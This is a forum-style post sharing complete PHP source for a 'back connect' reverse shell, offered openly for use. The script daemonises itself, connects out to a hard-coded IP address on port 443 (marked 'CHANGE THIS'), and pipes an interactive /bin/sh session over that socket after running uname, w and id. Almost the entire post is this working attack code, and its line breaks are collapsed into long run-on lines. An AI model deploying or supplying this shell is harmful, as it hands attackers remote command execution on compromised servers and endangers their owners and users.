[PHP] Back Connect Shell

[DaniyalShabbir]

The Title Says it all

<?php
set_time_limit (0);$VERSION = "1.0";$ip = '88.246.66.172'; // CHANGE THIS$port = 443; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;
//// Daemonise ourself if possible to avoid zombies later//
// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits }
// Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); }
$daemon = 1;} else { printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}
// Change to a safe directorychdir("/");
// Remove any umask we inheritedumask(0);
//// Do the reverse shell...//
// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) { printit("$errstr ($errno)"); exit(1);}
// Spawn shell process$descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1);}
// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; }
// Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; }
// Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); }
// If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); }
// If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); }}
fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);
// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) { if (!$daemon) { print "$string\n"; }}
?>

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